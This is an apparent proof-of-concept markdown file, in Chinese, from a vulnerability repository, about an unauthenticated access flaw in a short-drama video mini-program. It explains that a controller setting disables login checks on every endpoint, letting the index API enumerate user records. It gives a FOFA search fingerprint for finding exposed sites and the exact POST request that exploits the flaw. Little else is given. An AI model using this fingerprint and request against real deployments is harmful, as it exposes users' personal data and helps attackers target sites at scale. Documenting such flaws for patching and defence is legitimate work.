POC00/短剧影视小程序前台未授权漏洞.md
2025-04-02 22:36:18 +08:00

26 lines
700 B
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 短剧影视小程序前台未授权漏洞
**在 /api/controller/Index.php 控制器的index方法中很明显地存在 where 查询网站信息及User表中的字段并且将所有用户枚举出来且因为 $noNeedLogin = ['*'] 导致所有接口都无权限验证.**
## fofa
```yaml
"/VwmRIfEYDH.php"
```
## poc
```javascript
POST /api/index HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
```
![image-20240902103321159](C:/Users/26927/AppData/Roaming/Typora/typora-user-images/image-20240902103321159.png)
## 漏洞来源
- https://mp.weixin.qq.com/s/3WYJzQnjl8hP7oXVZUEQuA